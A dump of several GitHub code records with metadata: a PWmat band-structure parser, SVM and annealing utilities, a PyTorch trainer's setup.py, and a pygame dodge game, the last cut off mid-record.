查询得到 `NUM_BAND` 所在的行\n aim_content = \"NUM_BAND\"\n idx_num_bands = self._search_aim(aim_content=aim_content)[0]\n #print(idx_num_bands)\n ### Step 2. 提取能带的数目\n specific_line = linecache.getline(self.report_path, idx_num_bands)\n num_bands = int( specific_line.split()[-1] )\n \n return num_bands\n \n \n def get_num_kpts(self):\n '''\n Description\n -----------\n 1. 得到Kpoint的数目\n \n Return\n ------\n 1. num_kpts: int\n - kpoints 的数目\n ''' \n ### Step 1. 查询得到 `NUM_KPT` 所在的行\n aim_content = \"NUM_KPT\"\n idx_num_kpts = self._search_aim(aim_content=aim_content)[0]\n \n ### Step 2. 提取kpoints的数目\n specific_line = linecache.getline(self.report_path, idx_num_kpts)\n num_kpts = int( specific_line.split()[-1] )\n \n return num_kpts\n \n \n def get_eigen_energies(self):\n '''\n Description\n -----------\n 1. 得到的本征值未减去费米能级\n \n Return\n ------\n 1. spin2eigen_energies: Dict[str, np.ndarray]\n - np.ndarray 一维: kpoint\n - np.ndarray 二维: 某kpoint的本征能量\n '''\n ### Step 1. \n ### 1. 初始化 `spin2eigen_energies`\n ### 2. 得到kpoints的数目 `num_kpts`\n ### 3. 得到bands的数目 `num_bands`\n ### 4. 得到 `idx_eigen_start_lst`\n spin2eigen_energies = {\"up\":[], \"down\":[]}\n num_kpts = self.get_num_kpts()\n num_bands = self.get_num_bands()\n aim_content_eigen = \"eigen energies, in eV\"\n idxs_eigen_start_lst = self._search_aim(\n aim_content=aim_content_eigen)\n \n ### Step 2. 读取 REPORT 文件\n with open(self.report_path, \"r\") as f:\n lines_lst = f.readlines()\n \n ### Step 3. 得到每个kpoint的本征能量\n num_lines_for_band = int( np.ceil(num_bands / self.COLUMN_PER_LINE) )\n for tmp_idx, tmp_idx_eigen_start in enumerate(idxs_eigen_start_lst):\n tmp_eigen_energies_ = lines_lst[tmp_idx_eigen_start : tmp_idx_eigen_start+num_lines_for_band]\n tmp_eigen_energies = [float(eigen) for tmp_5_eigen in tmp_eigen_energies_ for eigen in tmp_5_eigen.split()]\n tmp_eigen_energies_array = np.array( tmp_eigen_energies )\n \n if tmp_idx < num_kpts:\n spin2eigen_energies[\"up\"].append(tmp_eigen_energies_array)\n else:\n spin2eigen_energies[\"down\"].append(tmp_eigen_energies_array)\n \n ### Step 4. 将 spin2igen_energies 的 values 变为 np.ndarray 形式\n spin2eigen_energies.update(\n {\"up\": np.array( spin2eigen_energies[\"up\"] )}\n )\n spin2eigen_energies.update(\n {\"down\": np.array( spin2eigen_energies[\"down\"] )}\n )\n \n ### Step 5. 当 ispin 打开时，自旋向上和向下的(kpoints, eigen_states)应该相等\n if spin2eigen_energies[\"down\"].size != 0:\n assert (spin2eigen_energies[\"up\"].shape != spin2eigen_energies[\"down\"])\n \n return spin2eigen_energies\n \n \n def get_in_atom(self):\n '''\n Description\n -----------\n 1. 得到输入的结构\n \n Return\n ------\n 1. in_atom_name: str\n - basename\n - e.g. \"atom.config\"\n ''' \n aim_conetent_inatom = \"IN.ATOM\"\n idx_inatom = self._search_aim(aim_content=aim_conetent_inatom)[0]\n in_atom_name = linecache.getline(self.report_path, idx_inatom).split()[-1]\n \n return in_atom_name\n \n \n def _is_metal(self, \n out_fermi_path:str,\n efermi_tol:float=1e-4,\n ):\n '''\n Description\n -----------\n 1. Check if the bandstructure indicates a metal by looking if the fermi \n level crosses a band.\n \n Parameters\n ----------\n 1. out_fermi_path: str\n - OUT.FERMI 的路径\n 2. efermi_tol: float\n - The tolerance of fermi level\n \n Return\n ------\n 1. mark: bool\n - True: 是金属\n - False: 不是金属\n '''\n ### Step 1. 得到费米能级\n ### Step 1.1. 判断是否存在 OUT.FERMI 文件\n if not os.path.exists(out_fermi_path):\n raise(\"当前目录下不存在 OUT.FERMI 文件，无法读取费米能级！\")\n ### Step 1.2. 从 OUT.FERMI 中读取费米能级\n out_fermi_object = OutFermi(out_fermi_path=out_fermi_path)\n efermi_ev = out_fermi_object.get_efermi()\n \n ### Step 2. 判断是否有能带穿过费米能级 (check if the fermi level crosses a band)\n spin2eigen_energies:Dict[str, np.ndarray] = self.get_eigen_energies()\n for tmp_spin in list( spin2eigen_energies.keys() ): # [\"up\", \"down\"]\n ### engen_energies_T\n ### - 一维：\n ### - 二维：\n eigen_energis_T = spin2eigen_energies[tmp_spin].T\n for idx_band in range(eigen_energis_T.shape[0]):\n if np.any(eigen_energis_T[idx_band, :] - efermi_ev < -efermi_tol) and \\\n np.any(eigen_energis_T[idx_band, :] - efermi_ev > efermi_tol):\n return True\n return False\n \n \n def get_cbm(self, out_fermi_path:str):\n '''\n Description\n -----------\n 1. 得到导带顶的 idx_kpt, idx_band, idx_spin, energy\n \n Return\n ------\n 1. Union[Dict, None]\n 2. cbm_dict: { \"energies\": List[float], \"spins\": List[str], \"kpts\": List[int], bands: List[int] }\n - \"energies\": \n - \"spins\": \n - \"kpts\": \n - \"bands\": \n - 是列表形式，因为有时候会共享 cbm\n - e.g. {'energies': [-0.3426], 'kpts': [19], 'bands': [53], 'spins': ['up']}\n 3. 当体系是金属的时候返回 None\n \n Note\n ----\n 1. idx_kpt 与 idx_band 均是从 1 开始的 (REPORT的输出信息就是从 1 开始的)\n '''\n ### Step 1. 判断体系是否是半导体\n if self._is_metal(out_fermi_path=out_fermi_path):\n #print(\"本材料体系是金属\")\n #raise SystemExit\n return None\n \n ### Step 2. 得到体系的费米能级\n out_fermi_object = OutFermi(out_fermi_path=out_fermi_path)\n efermi_ev = out_fermi_object.get_efermi()\n \n ### Step 3. 得到本征能量\n spin2eigen_energies:Dict[str, np.ndarray] = self.get_eigen_energies()\n \n ### Step 4. 找到 cbm 的能量、自旋、kpoint、能带\n cbm_energy = float(\"inf\") # energy\n cbm_kpt = 0 # kpoints 的索引 \n cbm_band = 0 # band 的索引\n cbm_spin = None # 自旋: Optional[\"up\"|\"down\"]\n for tmp_spin in list( spin2eigen_energies.keys() ): # [\"up\", \"down\"]\n for idx_row, idx_col in zip( *np.where(spin2eigen_energies[tmp_spin] >= efermi_ev) ):\n # idx_row:index for kpoints ; idx_col: index for band\n if spin2eigen_energies[tmp_spin][idx_row][idx_col] < cbm_energy:\n cbm_energy = round( float(spin2eigen_energies[tmp_spin][idx_row][idx_col]), 4)\n cbm_kpt = idx_row + 1\n cbm_band = idx_col + 1\n cbm_spin = tmp_spin\n \n ### Step 5. Get all other band sharing the cbm\n cbm_dict = {\n \"energies\": [cbm_energy],\n \"kpts\": [cbm_kpt],\n \"bands\": [cbm_band],\n \"spins\": [cbm_spin],\n }\n for tmp_spin in list( spin2eigen_energies.keys() ):\n for idx_band in range(spin2eigen_energies[\"up\"].shape[1]):\n try:\n if math.fabs( spin2eigen_energies[tmp_spin][cbm_kpt][idx_band] - cbm_energy) < 0.001:\n cbm_dict[\"energies\"].append(cbm_energy)\n cbm_dict[\"kpts\"].append(cbm_kpt)\n cbm_dict[\"bands\"].append(idx_band + 1)\n cbm_dict[\"spins\"].append(tmp_spin)\n except: # spin2eigen_energies[\"down\"] 为空时，会触发 `IndexError`\n pass\n \n return cbm_dict\n \n \n def get_vbm(self, out_fermi_path:str):\n '''\n Description\n -----------\n 1. 得到半导体的vbm\n \n Return\n ------\n 1. Union[Dict, None]\n 2. vbm_dict: Dict\n - e.g. {'energies': [-1.9866], 'kpts': [29], 'bands': [52], 'spins': ['up']}\n 3. 当体系是金属的时候返回 None\n '''\n ### Step 1. 判断体系是否是半导体\n if self._is_metal(out_fermi_path=out_fermi_path):\n #print(\"本材料体系是金属\")\n #raise SystemExit\n return None\n\n ### Step 2. 得到体系的费米能级\n out_fermi_object = OutFermi(out_fermi_path=out_fermi_path)\n efermi_ev = out_fermi_object.get_efermi()\n \n ### Step 3. 得到本征能量\n spin2eigen_energies:Dict[str, np.ndarray] = self.get_eigen_energies()\n \n ### Step 4. 得到 vbm 的能量、自旋、kpoint、能带\n vbm_energy = -float(\"inf\")\n vbm_kpt = 0\n vbm_band = 0\n vbm_spin = None\n for tmp_spin in list( spin2eigen_energies.keys() ):\n for idx_row, idx_col in zip( *np.where(spin2eigen_energies[tmp_spin] <= efermi_ev) ):\n # idx_row:indx of kpoints ; idx_col: index of band\n if spin2eigen_energies[tmp_spin][idx_row][idx_col] > vbm_energy:\n vbm_energy = round( float(spin2eigen_energies[tmp_spin][idx_row][idx_col]), 4 )\n vbm_kpt = idx_row + 1\n vbm_band = idx_col + 1\n vbm_spin = tmp_spin\n \n ### Step 5. Get all othr band sharing the vbm\n vbm_dict = {\n \"energies\": [vbm_energy],\n \"kpts\": [vbm_kpt],\n \"bands\": [vbm_band],\n \"spins\": [vbm_spin],\n }\n for tmp_spin in list( spin2eigen_energies.keys() ):\n for idx_band in range(spin2eigen_energies[\"up\"].shape[1]):\n try:\n if math.fabs( spin2eigen_energies[tmp_spin][vbm_kpt][idx_band] - vbm_energy) < 0.001:\n vbm_dict[\"energies\"].append(vbm_energy)\n vbm_dict[\"spins\"].append(tmp_spin)\n vbm_dict[\"bands\"].append(idx_band)\n vbm_dict[\"kpts\"].append(vbm_kpt)\n except: # spin2eigen_energies[\"down\"] 为空时，会触发 `IndexError`\n pass\n \n return vbm_dict\n \n \n def get_bandgap(self, out_fermi_path:str):\n '''\n Description\n -----------\n 1. 得到 bandgap\n \n Paramter\n --------\n 1. out_fermi_path: str\n - OUT.FERMI 的绝对路径\n \n Return\n ------\n 1. bandgap: float\n - unit: eV\n '''\n ### Step 1. 得到 CBM 和 VBM\n ### (在 `self.get_cbm()`` 和 `self.get_vbm()` 中判断是金属 or 半导体)\n vbm_dict = self.get_vbm(out_fermi_path=out_fermi_path)\n cbm_dict = self.get_cbm(out_fermi_path=out_fermi_path)\n \n ### Step 2. 得到带隙的大小\n bandgap = cbm_dict[\"energies\"][0] - vbm_dict[\"energies\"][0]\n \n return bandgap\n \n \n def get_bandgap_type(self, out_fermi_path:str):\n '''\n Description\n -----------\n 1. 得到带隙类型\n \n Return\n ------\n 1. int:\n - 0: 间接带隙\n - 1: 直接带隙\n '''\n ### Step 1. 得到 CBM 和 VBM\n ### (在 `self.get_cbm()`` 和 `self.get_vbm()` 中判断是金属 or 半导体)\n vbm_dict = self.get_vbm(out_fermi_path=out_fermi_path)\n cbm_dict = self.get_cbm(out_fermi_path=out_fermi_path)\n \n ### Step 2. 得到带的类型\n intersection, idx_1_lst, idx_2_lst = np.intersect1d(\n vbm_dict[\"kpts\"],\n cbm_dict[\"kpts\"],\n return_indices=True,\n )\n \n if intersection.size == 0:\n return 0 # 间接带隙\n else:\n return 1 # 直接带隙", "repo_name": "lhycms/MaterSDK", "sub_path": "matersdk/io/pwmat/output/report.py", "file_name": "report.py", "file_ext": "py", "file_size_in_byte": 14317, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "linecache.getline", "line_number": 59, "usage_type": "call"}, {"api_name": "linecache.getline", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 132, "usage_type": "call"}, {"api_name": "linecache.getline", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 186, "usage_type": "call"}, {"api_name": "os.path", "line_number": 186, "usage_type": "attribute"}, {"api_name": "outfermi.OutFermi", "line_number": 189, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 193, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 193, "usage_type": "attribute"}, {"api_name": "numpy.any", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 201, "usage_type": "call"}, {"api_name": "outfermi.OutFermi", "line_number": 235, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 239, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 239, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 247, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 265, "usage_type": "call"}, {"api_name": "outfermi.OutFermi", "line_number": 296, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 300, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 300, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 308, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 326, "usage_type": "call"}, {"api_name": "numpy.intersect1d", "line_number": 382, "usage_type": "call"}]} {"seq_id": "1701179290", "text": "# Created by Dennis Willsch (d.willsch@fz-juelich.de) \n# Modified by Gabriele Cavallaro (g.cavallaro@fz-juelich.de) \n# and Madita Willsch (m.willsch@fz-juelich.de)\n\nimport sys\nimport re\nimport json\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as cols\nfrom sklearn.metrics import roc_auc_score,average_precision_score,precision_recall_curve,roc_curve,accuracy_score,auc\n\nnp.set_printoptions(precision=4, suppress=True)\n\ndef kernel(xn, xm, gamma=-1): # here (xn.shape: NxD, xm.shape: ...xD) -> Nx...\n if gamma == -1:\n return xn @ xm.T\n xn = np.atleast_2d(xn)\n xm = np.atleast_2d(xm)\n return np.exp(-gamma * np.sum((xn[:,None] - xm[None,:])**2, axis=-1)) # (N,1,D) - (1,...,D) -> (N,...,D) -> (N,...); see Hsu guide.pdf for formula\n\n# B = base\n# K = number of qubits per alpha\n# E = shift of exponent\n# decode binary -> alpha\ndef decode(binary, B=10, K=3, E=0):\n N = len(binary) // K\n Bvec = float(B) ** (np.arange(K)-E)\n return np.fromiter(binary,float).reshape(N,K) @ Bvec\n\n# encode alpha -> binary with B and K (for each n, the binary coefficients an,k such that sum_k an,k B**k is closest to alphan)\ndef encode(alphas, B=10, K=3, E=0): # E allows for encodings with floating point numbers (limited precision of course)\n N = len(alphas)\n Bvec = float(B) ** (np.arange(K)-E) # B^(0-E) B^(1-E) B^(2-E) ... B^(K-1-E)\n allvals = np.array(list(map(lambda n : np.fromiter(bin(n)[2:].zfill(K),float,K), range(2**K)))) @ Bvec # [[0,0,0],[0,0,1],...] @ [1, 10, 100]\n return ''.join(list(map(lambda n : bin(n)[2:].zfill(K),np.argmin(np.abs(allvals[:,None] - alphas), axis=0))))\n\ndef encode_as_vec(alphas, B=10, K=3, E=0):\n return np.fromiter(encode(alphas,B,K,E), float)\n\ndef loaddataset(datakey):\n dataset = np.loadtxt(datakey, dtype=float, skiprows=1)\n return dataset[:,2:], dataset[:,1] # data, labels\n\ndef save_json(filename, var):\n with open(filename,'w') as f:\n f.write(str(json.dumps(var, indent=4, sort_keys=True, separators=(',', ': '), ensure_ascii=False)))\n\ndef eval_classifier(x, alphas, data, label, gamma, b=0): # evaluates the distance to the hyper plane according to 16.5.32 on p. 891 (Numerical Recipes); sign is the assigned class; x.shape = ...xD\n return np.sum((alphas * label)[:,None] * kernel(data, x, gamma), axis=0) + b\n\ndef eval_on_sv(x, alphas, data, label, gamma, C):\n return np.sum((alphas * (C-alphas) * label)[:,None] * kernel(data, x, gamma), axis=0)\n\ndef eval_offset_search(alphas, data, label, gamma, C, useavgforb=True): # search for the best offset\n maxacc=0\n b1=-9\n for i in np.linspace(-9,9,500):\n acc = accuracy_score(label,np.sign(eval_classifier(data, alphas, data, label, gamma, i)))\n if acc > maxacc:\n maxacc = acc\n b1=i\n maxacc=0\n b2=9\n reversed_space=np.linspace(-9,9,500)[::-1]\n for i in reversed_space:\n acc = accuracy_score(label,np.sign(eval_classifier(data, alphas, data, label, gamma, i)))\n if acc > maxacc:\n maxacc = acc\n b2=i\n return (b1+b2)/2\n\ndef eval_offset_MM(alphas, data, label, gamma, C, useavgforb=True): # evaluates offset b according to 16.5.37 (Mangasarian-Musicant variant) NOTE: does not seem to work with integer/very coarsely spaced alpha!\n return np.sum(alphas*label)\n\ndef eval_offset_avg(alphas, data, label, gamma, C, useavgforb=True): # evaluates offset b according to 16.5.33\n cross = eval_classifier(data, alphas, data, label, gamma) # cross[i] = sum_j aj yj K(xj, xi) (error in Numerical Recipes)\n if useavgforb:\n return np.sum(alphas * (C-alphas) * (label - cross)) / np.sum(alphas * (C-alphas))\n #return np.sum(label - cross) / num_sv\n else: # this is actually not used, but we did a similar-in-spirit implementation in eval_finaltraining_avgscore.py\n if np.isclose(np.sum(alphas * (C-alphas)),0):\n print('no support vectors found, discarding this classifer')\n return np.nan\n bcandidates = [np.sum(alphas * (C-alphas) * (label - cross)) / np.sum(alphas * (C-alphas))] # average according to NR should be the first candidate\n crosssorted = np.sort(cross)\n crosscandidates = -(crosssorted[1:] + crosssorted[:-1])/2 # each value between f(xi) and the next higher f(xj) is a candidate\n bcandidates += sorted(crosscandidates, key=lambda x:abs(x - bcandidates[0])) # try candidates closest to the average first\n bnumcorrect = [(label == np.sign(cross + b)).sum() for b in bcandidates]\n return bcandidates[np.argmax(bnumcorrect)]\n\ndef eval_acc_auroc_auprc(label, score): # score is the distance to the hyper plane (output from eval_classifier)\n precision,recall,_ = precision_recall_curve(label, score)\n return accuracy_score(label,np.sign(score)), roc_auc_score(label,score), auc(recall,precision)\n\n\n################ This I/O functions are provided by http://hyperlabelme.uv.es/index.html ################ \n\ndef dataread(filename):\n lasttag = 'description:'\n # Open file and locate lasttag\n f = open(filename, 'r')\n nl = 1\n for line in f:\n if line.startswith(lasttag): break\n nl += 1\n f.close()\n\n # Read data\n data = np.loadtxt(filename, delimiter=',', skiprows=nl)\n Y = data[:, 0]\n X = data[:, 1:]\n # Separate train/test\n Xtest = X[Y < 0, :]\n X = X[Y >= 0, :]\n Y = Y[Y >= 0, None]\n\n return X, Y, Xtest\n\n\ndef datawrite(path,method, dataset, Yp):\n filename = '{0}{1}_predictions.txt'.format(path, dataset)\n res = True\n try:\n with open(filename, mode='w') as f:\n f.write('{0} {1}'.format(method, dataset))\n for v in Yp:\n f.write(' {0}'.format(str(v)))\n f.write('\\n')\n except Exception as e:\n print('Error', e)\n res = False\n return res\n\n################ \n\n\ndef write_samples(X, Y,path): \n f = open(path,\"w\") \n f.write(\"id label data \\n\") \n for i in range(0,X.shape[0]):\n f.write(str(i)+\" \")\n if(Y[i]==1):\n f.write(\"-1 \")\n else:\n f.write(\"1 \")\n for j in range(0,X.shape[1]):\n f.write(str(X[i,j])+\" \")\n f.write(\"\\n\") \n f.close() ", "repo_name": "dberga/quantum-experiments", "sub_path": "qiskit_classification/QPU/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 6226, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.set_printoptions", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.atleast_2d", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.atleast_2d", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.fromiter", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.fromiter", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.fromiter", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 43, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 59, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 66, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.isclose", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 85, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 91, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 94, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 95, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 95, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 111, "usage_type": "call"}]} {"seq_id": "3196152318", "text": "from setuptools import setup, find_packages\nimport re\nfrom pathlib import Path\n\n\nhere = Path(__file__).parent\nversion = re.search(\n r'__version__ = \"(.+?)\"',\n (here / \"stort\" / \"__init__.py\").read_text(\"utf8\"),\n).group(1)\n\nsetup(\n name=\"stort\",\n description=\"A simple Torch trainer.\",\n version=version,\n author=\"Simon J. Larsen\",\n author_email=\"simonhffh@gmail.com\",\n license=\"MIT\",\n packages=find_packages(),\n include_package_data=True,\n install_requires=[\n \"torch>=2.0.0,<2.1.0\",\n \"torchvision>=0.15.0,<0.16.0\",\n \"pytorch-ignite>=0.4.12\",\n \"kornia>=0.7.0\",\n \"wandb>=0.15.12\",\n \"tqdm>=4.66.1\",\n \"pydantic>=2.4.2\",\n ],\n entry_points={\"console_scripts\": [\"stort=stort.cli:cli\"]},\n)\n", "repo_name": "SimonLarsen/stort", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 769, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pathlib.Path", "line_number": 6, "usage_type": "call"}, {"api_name": "re.search", "line_number": 7, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 12, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 19, "usage_type": "call"}]} {"seq_id": "73857356702", "text": "import random as ran\nimport sys\nimport pygame as pg\nimport time \n\n\nWIDTH, HEIGHT = 1600, 900\nr_w = ran.randint(0, WIDTH)\nr_h = ran.randint(0, HEIGHT)\n\ndef cheak_b(obj_rct: pg.Rect):\n \"\"\"\n 引数:こうかとんRect or 爆弾Rect\n 戻り値:タプル(横方向判定結果, 縦方向判定結果)\n 画面外ならTrue 画面内ならFalse\n \"\"\"\n y, t = True, True\n if obj_rct.left < 0 or WIDTH < obj_rct.right:\n y = False\n if obj_rct.top < 0 or HEIGHT < obj_rct.bottom:\n t = False\n return y, t\n\n\ndef main():\n pg.display.set_caption(\"逃げろ！こうかとん\")\n screen = pg.display.set_mode((WIDTH, HEIGHT))\n bg_img = pg.image.load(\"ex02/fig/pg_bg.jpg\")\n kk_img = pg.image.load(\"ex02/fig/3.png\")\n kk_img = pg.transform.rotozoom(kk_img, 0, 2.0)\n kk_img2 = pg.transform.flip(kk_img, True, False)\n \n \"\"\"こうかとんの向き\"\"\"\n kk_dct = {\n (0, 0):kk_img,\n (-5, 0):kk_img,\n (-5, -5):pg.transform.rotozoom(kk_img, -45, 1.0),\n (-5, +5):pg.transform.rotozoom(kk_img, 45, 1.0),\n (5, 0):kk_img2,\n (5, -5):pg.transform.rotozoom(kk_img2, 45, 1.0),\n (0, -5):pg.transform.rotozoom(kk_img2, 90, 1.0),\n (5, 5):pg.transform.rotozoom(kk_img2, -45, 1.0),\n (0, 5):pg.transform.rotozoom(kk_img2, -90, 1.0)\n }\n\n \"\"\"爆弾\"\"\"\n bom_img = pg.Surface((20, 20))\n pg.draw.circle(bom_img, (255, 0, 0), (10, 10), 10)\n bom_img.set_colorkey((0, 0, 0))\n bom_rct = bom_img.get_rect()\n bom_rct.center = (r_w, r_h)\n key_d = {\n pg.K_UP:(0, -5),\n pg.K_DOWN:(0, 5),\n pg.K_LEFT:(-5, 0),\n pg.K_RIGHT:(5, 0)\n }\n accs = [a for a in range(1, 11)] #加速度リスト\n bb_imgs = []\n for r in range(1, 11):\n bom_img = pg.Surface((20*r, 20*r))\n pg.draw.circle(bom_img, (255, 0, 0), (10*r, 10*r), 10*r)\n bom_img.set_colorkey((0, 0, 0))\n bb_imgs.append(bom_img)\n\n \"\"\"こうかとん\"\"\"\n kk_rct = kk_img.get_rect()\n kk_rct.center = (900, 400)\n \n vx, vy = 5, 5\n clock = pg.time.Clock()\n tmr = 0\n while True:\n for event in pg.event.get():\n if event.type == pg.QUIT: \n return\n\n \"\"\"キーボード操作\"\"\"\n key_lst = pg.key.get_pressed()\n sum_v = [0, 0]\n for key, mv in key_d.items():\n if key_lst[key]:\n sum_v[0] += mv[0]\n sum_v[1] += mv[1]\n \n \"\"\"爆弾の加速、拡大\"\"\"\n avx, avy =vx*accs[min(tmr//500, 9)], vy*accs[min(tmr//500, 9)]\n bom_img = bb_imgs[min(tmr//500, 9)]\n\n \"\"\"移動値\"\"\"\n kk_rct.move_ip(sum_v[0], sum_v[1])\n bom_rct.move_ip(avx, avy)\n\n \"\"\"表示\"\"\"\n screen.blit(bg_img, [0, 0])\n screen.blit(kk_dct[tuple(sum_v)], kk_rct) # 追記1こうかとん画像切り替え\n screen.blit(bom_img, bom_rct)\n pg.display.update()\n\n # 画面外チェック\n cheak_kk = cheak_b(kk_rct)\n if cheak_kk != (True, True):\n kk_rct.move_ip(-sum_v[0], -sum_v[1])\n cheak_bom = cheak_b(bom_rct)\n if cheak_bom[0] == False:\n vx *= -1\n if cheak_bom[1] == False:\n vy *= -1\n\n # 衝突判定\n if kk_rct.colliderect(bom_rct):\n screen.blit(bg_img, [0, 0])\n kk_img3 =pg.image.load(\"ex02/fig/8.png\")\n kk_img3_1 =pg.transform.rotozoom(kk_img3, 0, 2.0)\n screen.blit(kk_img3_1, kk_rct)\n screen.blit(bom_img, bom_rct)\n pg.display.update()\n time.sleep(2)\n return\n\n tmr += 1\n clock.tick(50)\n\n\n\nif __name__ == \"__main__\":\n pg.init()\n main()\n pg.quit()\n sys.exit()", "repo_name": "c0b220378d/ProjExD_02", "sub_path": "dodge_bomb.py", "file_name": "dodge_bomb.py", "file_ext": "py", "file_size_in_byte": 3730, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "random.randint", "line_number": 8, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 27, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 29, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pygame.transform.rotozoom", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.transform.flip", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pygame.transform.rotozoom", "line_number": 37, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pygame.transform.rotozoom", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pygame.transform.rotozoom", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.transform.rotozoom", "line_number": 41, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pygame.transform.rotozoom", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pygame.transform.rotozoom", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 47, "usage_type": "call"}, {"api_name": "pygame.draw.circle", "line_number": 48, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 54, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 56, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 61, "usage_type": "call"}, {"api_name": "pygame.draw.circle", "line_number": 62, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 62, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 71, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 71, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 74, 